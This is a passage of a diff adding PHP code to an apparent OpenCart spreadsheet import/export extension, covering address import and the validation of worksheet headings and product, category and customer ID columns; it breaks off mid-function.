+ // function for reading additional cells in class extensions
+ protected function moreAddressCells( $i, &$j, &$worksheet, &$option ) {
+ return;
+ }
+
+
+ protected function uploadAddresses( &$reader, $incremental, &$available_customer_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Addresses' );
+ if ($data==null) {
+ return;
+ }
+
+ // some fields only exist in certain OpenCart versions
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'company_id'";
+ $query = $this->db->query( $sql );
+ $exist_company_id = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'tax_id'";
+ $query = $this->db->query( $sql );
+ $exist_tax_id = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'custom_field'";
+ $query = $this->db->query( $sql );
+ $exist_custom_field = ($query->num_rows > 0) ? true : false;
+
+ // find the available country_ids indexed by country names
+ $available_country_ids = $this->getAvailableCountryIds();
+
+ // find the available zone_ids indexed by country names and zone names
+ $available_zone_ids = $this->getAvailableZoneIds();
+
+ // if incremental then find current customer IDs else delete all old addresses
+ if ($incremental) {
+ $unlisted_customer_ids = $available_customer_ids;
+ } else {
+ $this->deleteAddresses();
+ }
+
+ // load the worksheet cells and store them to the database
+ $previous_customer_id = 0;
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $customer_id = trim($this->getCell($data,$i,$j++));
+ if ($customer_id=='') {
+ continue;
+ }
+ $firstname = $this->getCell($data,$i,$j++,'');
+ $lastname = $this->getCell($data,$i,$j++,'');
+ $company = $this->getCell($data,$i,$j++,'');
+ if ($exist_company_id) {
+ $company_id = $this->getCell($data,$i,$j++,'');
+ }
+ if ($exist_tax_id) {
+ $tax_id = $this->getCell($data,$i,$j++,'');
+ }
+ $address_1 = $this->getCell($data,$i,$j++,'');
+ $address_2 = $this->getCell($data,$i,$j++,'');
+ $city = $this->getCell($data,$i,$j++,'');
+ $postcode = $this->getCell($data,$i,$j++,'');
+ $zone = $this->getCell($data,$i,$j++,'');
+ $country = $this->getCell($data,$i,$j++,'');
+ if (!isset($available_country_ids[$country])) {
+ $country = html_entity_decode($country,ENT_QUOTES,'UTF-8');
+ }
+ $country_id = isset($available_country_ids[$country]) ? $available_country_ids[$country] : 0;
+ if (!isset($available_zone_ids[$country][$zone])) {
+ $zone = html_entity_decode($zone,ENT_QUOTES,'UTF-8');
+ }
+ if (!isset($available_zone_ids[$country][$zone])) {
+ $zone = htmlentities($zone,ENT_NOQUOTES,'UTF-8');
+ }
+ if (!isset($available_zone_ids[$country][$zone])) {
+ $zone = html_entity_decode($zone,ENT_QUOTES,'UTF-8');
+ $zone = htmlentities($zone,ENT_QUOTES,'UTF-8');
+ }
+ if (!isset($available_zone_ids[$country][$zone])) {
+ $zone = html_entity_decode($zone,ENT_QUOTES,'UTF-8');
+ $zone = htmlentities($zone,ENT_NOQUOTES,'UTF-8');
+ $zone = str_replace( "'", "'", $zone );
+ }
+ $zone_id = isset($available_zone_ids[$country][$zone]) ? $available_zone_ids[$country][$zone] : 0;
+ if ($exist_custom_field) {
+ $custom_field = $this->getCell($data,$i,$j++,'');
+ }
+ $default = $this->getCell($data,$i,$j++,'no');
+ $address = array();
+ $address['customer_id'] = $customer_id;
+ $address['firstname'] = $firstname;
+ $address['lastname'] = $lastname;
+ $address['company'] = $company;
+ if ($exist_company_id) {
+ $address['company_id'] = $company_id;
+ }
+ if ($exist_tax_id) {
+ $address['tax_id'] = $tax_id;
+ }
+ $address['address_1'] = $address_1;
+ $address['address_2'] = $address_2;
+ $address['city'] = $city;
+ $address['postcode'] = $postcode;
+ $address['country_id'] = $country_id;
+ $address['zone_id'] = $zone_id;
+ if ($exist_custom_field) {
+ $address['custom_field'] = $custom_field;
+ }
+ $address['default'] = $default;
+ if (($incremental) && ($customer_id != $previous_customer_id)) {
+ $this->deleteAddress( $customer_id );
+ if (isset($unlisted_customer_ids[$customer_id])) {
+ unset($unlisted_customer_ids[$customer_id]);
+ }
+ }
+ $this->moreAddressCells( $i, $j, $data, $address );
+ $this->storeAddressIntoDatabase( $address, $exist_company_id, $exist_tax_id, $exist_custom_field );
+ $previous_customer_id = $customer_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedAddresses( $unlisted_customer_ids );
+ }
+ }
+
+
+ protected function getCell(&$worksheet,$row,$col,$default_val='') {
+// $col -= 1; // we use 1-based, PHPExcel uses 0-based column index, PhpSpreadsheet now uses 1-based column index
+ $row += 1; // we use 0-based, PhpSpreadsheet uses 1-based row index
+ $val = ($worksheet->cellExistsByColumnAndRow($col,$row)) ? $worksheet->getCellByColumnAndRow($col,$row)->getValue() : $default_val;
+ if ($val===null) {
+ $val = $default_val;
+ }
+ return $val;
+ }
+
+
+ protected function validateHeading( &$data, &$expected, &$multilingual ) {
+ $default_language_code = $this->config->get('config_language');
+ $heading = array();
+ $k = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ $i = 0;
+ for ($j=1; $j <= $k; $j+=1) {
+ $entry = $this->getCell($data,$i,$j);
+ $bracket_start = strripos( $entry, '(', 0 );
+ if ($bracket_start === false) {
+ if (in_array( $entry, $multilingual )) {
+ return false;
+ }
+ $heading[] = strtolower($entry);
+ } else {
+ $name = strtolower(substr( $entry, 0, $bracket_start ));
+ if (!in_array( $name, $multilingual )) {
+ return false;
+ }
+ $bracket_end = strripos( $entry, ')', $bracket_start );
+ if ($bracket_end <= $bracket_start) {
+ return false;
+ }
+ if ($bracket_end+1 != strlen($entry)) {
+ return false;
+ }
+ $language_code = strtolower(substr( $entry, $bracket_start+1, $bracket_end-$bracket_start-1 ));
+ if (count($heading) <= 0) {
+ return false;
+ }
+ if ($heading[count($heading)-1] != $name) {
+ $heading[] = $name;
+ }
+ }
+ }
+ for ($i=0; $i < count($expected); $i+=1) {
+ if (!isset($heading[$i])) {
+ return false;
+ }
+ if ($heading[$i] != $expected[$i]) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+
+ protected function validateCategories( &$reader ) {
+ $data = $reader->getSheetByName( 'Categories' );
+ if ($data==null) {
+ return true;
+ }
+
+ // Opencart versions from 2.0 onwards also have category_description.meta_title
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."category_description` LIKE 'meta_title'";
+ $query = $this->db->query( $sql );
+ $exist_meta_title = ($query->num_rows > 0) ? true : false;
+
+ if ($this->use_table_seo_url) {
+ if ($exist_meta_title) {
+ $expected_heading = array
+ ( "category_id", "parent_id", "name", "top", "columns", "sort_order", "image_name", "date_added", "date_modified", "description", "meta_title", "meta_description", "meta_keywords", "store_ids", "layout", "status" );
+ } else {
+ $expected_heading = array
+ ( "category_id", "parent_id", "name", "top", "columns", "sort_order", "image_name", "date_added", "date_modified", "description", "meta_description", "meta_keywords", "store_ids", "layout", "status" );
+ }
+ } else {
+ if ($exist_meta_title) {
+ $expected_heading = array
+ ( "category_id", "parent_id", "name", "top", "columns", "sort_order", "image_name", "date_added", "date_modified", "seo_keyword", "description", "meta_title", "meta_description", "meta_keywords", "store_ids", "layout", "status" );
+ } else {
+ $expected_heading = array
+ ( "category_id", "parent_id", "name", "top", "columns", "sort_order", "image_name", "date_added", "date_modified", "seo_keyword", "description", "meta_description", "meta_keywords", "store_ids", "layout", "status" );
+ }
+ }
+ if ($exist_meta_title) {
+ $expected_multilingual = array( "name", "description", "meta_title", "meta_description", "meta_keywords" );
+ } else {
+ $expected_multilingual = array( "name", "description", "meta_description", "meta_keywords" );
+ }
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateCategoryFilters( &$reader ) {
+ $data = $reader->getSheetByName( 'CategoryFilters' );
+ if ($data==null) {
+ return true;
+ }
+ if (!$this->existFilter()) {
+ throw new Exception( $this->language->get( 'error_filter_not_supported' ) );
+ }
+ if ($this->config->get('export_import_settings_use_filter_group_id')) {
+ if ($this->config->get('export_import_settings_use_filter_id')) {
+ $expected_heading = array( "category_id", "filter_group_id", "filter_id" );
+ } else {
+ $expected_heading = array( "category_id", "filter_group_id", "filter" );
+ }
+ } else {
+ if ($this->config->get('export_import_settings_use_filter_id')) {
+ $expected_heading = array( "category_id", "filter_group", "filter_id" );
+ } else {
+ $expected_heading = array( "category_id", "filter_group", "filter" );
+ }
+ }
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateCategorySEOKeywords( &$reader ) {
+ $data = $reader->getSheetByName( 'CategorySEOKeywords' );
+ if ($data==null) {
+ return true;
+ }
+ if (!$this->use_table_seo_url) {
+ throw new Exception( str_replace( '%1', 'CategorySEOKeywords', $this->language->get( 'error_seo_keywords_not_supported' ) ) );
+ }
+ $expected_heading = array( "category_id", "store_id", "keyword" );
+ $expected_multilingual = array( "keyword" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateProducts( &$reader ) {
+ $data = $reader->getSheetByName( 'Products' );
+ if ($data==null) {
+ return true;
+ }
+
+ // get list of the field names, some are only available for certain OpenCart versions
+ $query = $this->db->query( "DESCRIBE `".DB_PREFIX."product`" );
+ $product_fields = array();
+ foreach ($query->rows as $row) {
+ $product_fields[] = $row['Field'];
+ }
+
+ // Opencart versions from 2.0 onwards also have product_description.meta_title
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."product_description` LIKE 'meta_title'";
+ $query = $this->db->query( $sql );
+ $exist_meta_title = ($query->num_rows > 0) ? true : false;
+
+ $expected_heading = array
+ ( "product_id", "name", "categories", "sku", "upc" );
+ if (in_array("ean",$product_fields)) {
+ $expected_heading[] = "ean";
+ }
+ if (in_array("jan",$product_fields)) {
+ $expected_heading[] = "jan";
+ }
+ if (in_array("isbn",$product_fields)) {
+ $expected_heading[] = "isbn";
+ }
+ if (in_array("mpn",$product_fields)) {
+ $expected_heading[] = "mpn";
+ }
+ if ($this->use_table_seo_url) {
+ $expected_heading = array_merge( $expected_heading, array( "location", "quantity", "model", "manufacturer", "image_name", "shipping", "price", "price_2", "price_3", "points", "date_added", "date_modified", "date_available", "weight", "weight_unit", "length", "width", "height", "length_unit", "status", "tax_class_id", "description") );
+ } else {
+ $expected_heading = array_merge( $expected_heading, array( "location", "quantity", "model", "manufacturer", "image_name", "shipping", "price","price_2","price_3", "points", "date_added", "date_modified", "date_available", "weight", "weight_unit", "length", "width", "height", "length_unit", "status", "tax_class_id", "seo_keyword", "description") );
+ }
+ if ($exist_meta_title) {
+ $expected_heading[] = "meta_title";
+ }
+ $expected_heading = array_merge( $expected_heading, array( "meta_description", "meta_keywords", "stock_status_id", "store_ids", "layout", "related_ids", "tags", "sort_order", "subtract", "minimum" ) );
+ if ($exist_meta_title) {
+ $expected_multilingual = array( "name", "description", "meta_title", "meta_description", "meta_keywords", "tags" );
+ } else {
+ $expected_multilingual = array( "name", "description", "meta_description", "meta_keywords", "tags" );
+ }
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateAdditionalImages( &$reader ) {
+ $data = $reader->getSheetByName( 'AdditionalImages' );
+ if ($data==null) {
+ return true;
+ }
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."product_image` LIKE 'sort_order'";
+ $query = $this->db->query( $sql );
+ $exist_sort_order = ($query->num_rows > 0) ? true : false;
+ if ($exist_sort_order) {
+ $expected_heading = array( "product_id", "image", "sort_order" );
+ } else {
+ $expected_heading = array( "product_id", "image" );
+ }
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateSpecials( &$reader ) {
+ $data = $reader->getSheetByName( 'Specials' );
+ if ($data==null) {
+ return true;
+ }
+ $expected_heading = array( "product_id", "customer_group", "priority", "price", "date_start", "date_end" );
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateDiscounts( &$reader ) {
+ $data = $reader->getSheetByName( 'Discounts' );
+ if ($data==null) {
+ return true;
+ }
+ $expected_heading = array( "product_id", "customer_group", "quantity", "priority", "price", "date_start", "date_end" );
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateRewards( &$reader ) {
+ $data = $reader->getSheetByName( 'Rewards' );
+ if ($data==null) {
+ return true;
+ }
+ $expected_heading = array( "product_id", "customer_group", "points" );
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateProductOptions( &$reader ) {
+ $data = $reader->getSheetByName( 'ProductOptions' );
+ if ($data==null) {
+ return true;
+ }
+ if ($this->config->get('export_import_settings_use_option_id')) {
+ $expected_heading = array( "product_id", "option_id", "default_option_value", "required" );
+ } else {
+ $expected_heading = array( "product_id", "option", "default_option_value", "required" );
+ }
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateProductOptionValues( &$reader ) {
+ $data = $reader->getSheetByName( 'ProductOptionValues' );
+ if ($data==null) {
+ return true;
+ }
+ if ($this->config->get('export_import_settings_use_option_id')) {
+ if ($this->config->get('export_import_settings_use_option_value_id')) {
+ $expected_heading = array( "product_id", "option_id", "option_value_id", "quantity", "subtract", "price", "price_prefix", "points", "points_prefix", "weight", "weight_prefix" );
+ } else {
+ $expected_heading = array( "product_id", "option_id", "option_value", "quantity", "subtract", "price", "price_prefix", "points", "points_prefix", "weight", "weight_prefix" );
+ }
+ } else {
+ if ($this->config->get('export_import_settings_use_option_value_id')) {
+ $expected_heading = array( "product_id", "option", "option_value_id", "quantity", "subtract", "price", "price_prefix", "points", "points_prefix", "weight", "weight_prefix" );
+ } else {
+ $expected_heading = array( "product_id", "option", "option_value", "quantity", "subtract", "price", "price_prefix", "points", "points_prefix", "weight", "weight_prefix" );
+ }
+ }
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateProductAttributes( &$reader ) {
+ $data = $reader->getSheetByName( 'ProductAttributes' );
+ if ($data==null) {
+ return true;
+ }
+ if ($this->config->get('export_import_settings_use_attribute_group_id')) {
+ if ($this->config->get('export_import_settings_use_attribute_id')) {
+ $expected_heading = array( "product_id", "attribute_group_id", "attribute_id", "text" );
+ } else {
+ $expected_heading = array( "product_id", "attribute_group_id", "attribute", "text" );
+ }
+ } else {
+ if ($this->config->get('export_import_settings_use_attribute_id')) {
+ $expected_heading = array( "product_id", "attribute_group", "attribute_id", "text" );
+ } else {
+ $expected_heading = array( "product_id", "attribute_group", "attribute", "text" );
+ }
+ }
+ $expected_multilingual = array( "text" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateProductFilters( &$reader ) {
+ $data = $reader->getSheetByName( 'ProductFilters' );
+ if ($data==null) {
+ return true;
+ }
+ if (!$this->existFilter()) {
+ throw new Exception( $this->language->get( 'error_filter_not_supported' ) );
+ }
+ if ($this->config->get('export_import_settings_use_filter_group_id')) {
+ if ($this->config->get('export_import_settings_use_filter_id')) {
+ $expected_heading = array( "product_id", "filter_group_id", "filter_id" );
+ } else {
+ $expected_heading = array( "product_id", "filter_group_id", "filter" );
+ }
+ } else {
+ if ($this->config->get('export_import_settings_use_filter_id')) {
+ $expected_heading = array( "product_id", "filter_group", "filter_id" );
+ } else {
+ $expected_heading = array( "product_id", "filter_group", "filter" );
+ }
+ }
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateProductSEOKeywords( &$reader ) {
+ $data = $reader->getSheetByName( 'ProductSEOKeywords' );
+ if ($data==null) {
+ return true;
+ }
+ if (!$this->use_table_seo_url) {
+ throw new Exception( str_replace( '%1', 'ProductSEOKeywords', $this->language->get( 'error_seo_keywords_not_supported' ) ) );
+ }
+ $expected_heading = array( "product_id", "store_id", "keyword" );
+ $expected_multilingual = array( "keyword" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateOptions( &$reader ) {
+ $data = $reader->getSheetByName( 'Options' );
+ if ($data==null) {
+ return true;
+ }
+ $expected_heading = array( "option_id", "type", "sort_order", "name" );
+ $expected_multilingual = array( "name" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateOptionValues( &$reader ) {
+ $data = $reader->getSheetByName( 'OptionValues' );
+ if ($data==null) {
+ return true;
+ }
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."option_value` LIKE 'image'";
+ $query = $this->db->query( $sql );
+ $exist_image = ($query->num_rows > 0) ? true : false;
+ if ($exist_image) {
+ $expected_heading = array( "option_value_id", "option_id", "image", "sort_order", "name" );
+ } else {
+ $expected_heading = array( "option_value_id", "option_id", "sort_order", "name" );
+ }
+ $expected_multilingual = array( "name" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateAttributeGroups( &$reader ) {
+ $data = $reader->getSheetByName( 'AttributeGroups' );
+ if ($data==null) {
+ return true;
+ }
+ $expected_heading = array( "attribute_group_id", "sort_order", "name" );
+ $expected_multilingual = array( "name" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateAttributes( &$reader ) {
+ $data = $reader->getSheetByName( 'Attributes' );
+ if ($data==null) {
+ return true;
+ }
+ $expected_heading = array( "attribute_id", "attribute_group_id", "sort_order", "name" );
+ $expected_multilingual = array( "name" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateFilterGroups( &$reader ) {
+ $data = $reader->getSheetByName( 'FilterGroups' );
+ if ($data==null) {
+ return true;
+ }
+ if (!$this->existFilter()) {
+ throw new Exception( $this->language->get( 'error_filter_not_supported' ) );
+ }
+ $expected_heading = array( "filter_group_id", "sort_order", "name" );
+ $expected_multilingual = array( "name" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateFilters( &$reader ) {
+ $data = $reader->getSheetByName( 'Filters' );
+ if ($data==null) {
+ return true;
+ }
+ if (!$this->existFilter()) {
+ throw new Exception( $this->language->get( 'error_filter_not_supported' ) );
+ }
+ $expected_heading = array( "filter_id", "filter_group_id", "sort_order", "name" );
+ $expected_multilingual = array( "name" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateCustomers( &$reader ) {
+ $data = $reader->getSheetByName( 'Customers' );
+ if ($data==null) {
+ return true;
+ }
+
+ // Some fields are only available in newer Opencart versions
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'custom_field'";
+ $query = $this->db->query( $sql );
+ $exist_custom_field = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'salt'";
+ $query = $this->db->query( $sql );
+ $exist_salt = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'safe'";
+ $query = $this->db->query( $sql );
+ $exist_safe = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'token'";
+ $query = $this->db->query( $sql );
+ $exist_token = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'code'";
+ $query = $this->db->query( $sql );
+ $exist_code = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'approved'";
+ $query = $this->db->query( $sql );
+ $exist_approved = ($query->num_rows > 0) ? true : false;
+
+ $expected_heading = array( "customer_id", "customer_group", "store_id", "firstname", "lastname", "email", "telephone", "fax", "password" );
+ if ($exist_salt) {
+ $expected_heading[] = "salt";
+ }
+ $expected_heading = array_merge( $expected_heading, array( "cart", "wishlist", "newsletter" ) );
+ if ($exist_custom_field) {
+ $expected_heading[] = "custom_field";
+ }
+ $expected_heading = array_merge( $expected_heading, array( "ip", "status" ) );
+ if ($exist_approved) {
+ $expected_heading[] = "approved";
+ }
+ if ($exist_safe) {
+ $expected_heading[] = "safe";
+ }
+ if ($exist_token) {
+ $expected_heading[] = "token";
+ }
+ if ($exist_code) {
+ $expected_heading[] = "code";
+ }
+ $expected_heading[] = "date_added";
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateAddresses( &$reader ) {
+ $data = $reader->getSheetByName( 'Addresses' );
+ if ($data==null) {
+ return true;
+ }
+
+ // Some Opencart 1.5.x versions also have company_id
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'company_id'";
+ $query = $this->db->query( $sql );
+ $exist_company_id = ($query->num_rows > 0) ? true : false;
+
+ // Some Opencart 1.5.x versions also have tax_id
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'tax_id'";
+ $query = $this->db->query( $sql );
+ $exist_tax_id = ($query->num_rows > 0) ? true : false;
+
+ // Opencart 2.x versions have custom_field
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'custom_field'";
+ $query = $this->db->query( $sql );
+ $exist_custom_field = ($query->num_rows > 0) ? true : false;
+
+ $expected_heading = array( "customer_id", "firstname", "lastname", "company" );
+ if ($exist_company_id) {
+ $expected_heading[] = "company_id";
+ }
+ if ($exist_tax_id) {
+ $expected_heading[] = "tax_id";
+ }
+ $expected_heading = array_merge( $expected_heading, array( "address_1", "address_2", "city", "postcode", "zone", "country" ) );
+ if ($exist_custom_field) {
+ $expected_heading[] = "custom_field";
+ }
+ $expected_heading[] = "default";
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateProductIdColumns( &$reader ) {
+ $data = $reader->getSheetByName( 'Products' );
+ if ($data==null) {
+ return true;
+ }
+ $ok = true;
+
+ // only unique numeric product_ids can be used, in ascending order, in worksheet 'Products'
+ $previous_product_id = 0;
+ $has_missing_product_ids = false;
+ $product_ids = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $product_id = $this->getCell($data,$i,1);
+ if ($product_id=="") {
+ if (!$has_missing_product_ids) {
+ $msg = str_replace( '%1', 'Products', $this->language->get( 'error_missing_product_id' ) );
+ $this->log->write( $msg );
+ $has_missing_product_ids = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!$this->isInteger($product_id)) {
+ $msg = str_replace( '%2', $product_id, str_replace( '%1', 'Products', $this->language->get( 'error_invalid_product_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if (in_array( $product_id, $product_ids )) {
+ $msg = str_replace( '%2', $product_id, str_replace( '%1', 'Products', $this->language->get( 'error_duplicate_product_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $product_ids[] = $product_id;
+ if ($product_id < $previous_product_id) {
+ $msg = str_replace( '%2', $product_id, str_replace( '%1', 'Products', $this->language->get( 'error_wrong_order_product_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $previous_product_id = $product_id;
+ }
+
+ // make sure product_ids are numeric entries and are also mentioned in worksheet 'Products'
+ $worksheets = array( 'AdditionalImages', 'Specials', 'Discounts', 'Rewards', 'ProductOptions', 'ProductOptionValues', 'ProductAttributes', 'ProductFilters', 'ProductSEOKeywords' );
+ foreach ($worksheets as $worksheet) {
+ $data = $reader->getSheetByName( $worksheet );
+ if ($data==null) {
+ continue;
+ }
+ $previous_product_id = 0;
+ $has_missing_product_ids = false;
+ $unlisted_product_ids = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $product_id = $this->getCell($data,$i,1);
+ if ($product_id=="") {
+ if (!$has_missing_product_ids) {
+ $msg = str_replace( '%1', $worksheet, $this->language->get( 'error_missing_product_id' ) );
+ $this->log->write( $msg );
+ $has_missing_product_ids = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!$this->isInteger($product_id)) {
+ $msg = str_replace( '%2', $product_id, str_replace( '%1', $worksheet, $this->language->get( 'error_invalid_product_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if (!in_array( $product_id, $product_ids )) {
+ if (!in_array( $product_id, $unlisted_product_ids )) {
+ $unlisted_product_ids[] = $product_id;
+ $msg = str_replace( '%2', $product_id, str_replace( '%1', $worksheet, $this->language->get( 'error_unlisted_product_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ }
+ if ($product_id < $previous_product_id) {
+ $msg = str_replace( '%2', $product_id, str_replace( '%1', $worksheet, $this->language->get( 'error_wrong_order_product_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $previous_product_id = $product_id;
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function validateCategoryIdColumns( &$reader ) {
+ $data = $reader->getSheetByName( 'Categories' );
+ if ($data==null) {
+ return true;
+ }
+ $ok = true;
+
+ // only unique numeric category_ids can be used, in ascending order, in worksheet 'Categories'
+ $previous_category_id = 0;
+ $has_missing_category_ids = false;
+ $category_ids = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $category_id = $this->getCell($data,$i,1);
+ if ($category_id=="") {
+ if (!$has_missing_category_ids) {
+ $msg = str_replace( '%1', 'Categories', $this->language->get( 'error_missing_category_id' ) );
+ $this->log->write( $msg );
+ $has_missing_category_ids = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!$this->isInteger($category_id)) {
+ $msg = str_replace( '%2', $category_id, str_replace( '%1', 'Categories', $this->language->get( 'error_invalid_category_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if (in_array( $category_id, $category_ids )) {
+ $msg = str_replace( '%2', $category_id, str_replace( '%1', 'Categories', $this->language->get( 'error_duplicate_category_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $category_ids[] = $category_id;
+ if ($category_id < $previous_category_id) {
+ $msg = str_replace( '%2', $category_id, str_replace( '%1', 'Categories', $this->language->get( 'error_wrong_order_category_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $previous_category_id = $category_id;
+ }
+
+ // make sure category_ids are numeric entries and are also mentioned in worksheet 'Categories'
+ $worksheets = array( 'CategoryFilters', 'CategorySEOKeywords' );
+ foreach ($worksheets as $worksheet) {
+ $data = $reader->getSheetByName( $worksheet );
+ if ($data==null) {
+ continue;
+ }
+ $previous_category_id = 0;
+ $has_missing_category_ids = false;
+ $unlisted_category_ids = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $category_id = $this->getCell($data,$i,1);
+ if ($category_id=="") {
+ if (!$has_missing_category_ids) {
+ $msg = str_replace( '%1', $worksheet, $this->language->get( 'error_missing_category_id' ) );
+ $this->log->write( $msg );
+ $has_missing_category_ids = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!$this->isInteger($category_id)) {
+ $msg = str_replace( '%2', $category_id, str_replace( '%1', $worksheet, $this->language->get( 'error_invalid_category_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if (!in_array( $category_id, $category_ids )) {
+ if (!in_array( $category_id, $unlisted_category_ids )) {
+ $unlisted_category_ids[] = $category_id;
+ $msg = str_replace( '%2', $category_id, str_replace( '%1', $worksheet, $this->language->get( 'error_unlisted_category_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ }
+ if ($category_id < $previous_category_id) {
+ $msg = str_replace( '%2', $category_id, str_replace( '%1', $worksheet, $this->language->get( 'error_wrong_order_category_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $previous_category_id = $category_id;
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function validateCustomerIdColumns( &$reader ) {
+ $data = $reader->getSheetByName( 'Customers' );
+ if ($data==null) {
+ return true;
+ }
+ $ok = true;
+
+ // only unique numeric customer_ids can be used, in ascending order, in worksheet 'Customers'
+ $previous_customer_id = 0;
+ $has_missing_customer_ids = false;
+ $customer_ids = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $customer_id = $this->getCell($data,$i,1);
+ if ($customer_id=="") {
+ if (!$has_missing_customer_ids) {
+ $msg = str_replace( '%1', 'Customers', $this->language->get( 'error_missing_customer_id' ) );
+ $this->log->write( $msg );
+ $has_missing_customer_ids = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!$this->isInteger($customer_id)) {
+ $msg = str_replace( '%2', $customer_id, str_replace( '%1', 'Customers', $this->language->get( 'error_invalid_customer_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if (in_array( $customer_id, $customer_ids )) {
+ $msg = str_replace( '%2', $customer_id, str_replace( '%1', 'Customers', $this->language->get( 'error_duplicate_customer_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $customer_ids[] = $customer_id;
+ if ($customer_id < $previous_customer_id) {
+ $msg = str_replace( '%2', $customer_id, str_replace( '%1', 'Customers', $this->language->get( 'error_wrong_order_customer_id' ) ) );
+ $this->log->write( $msg );
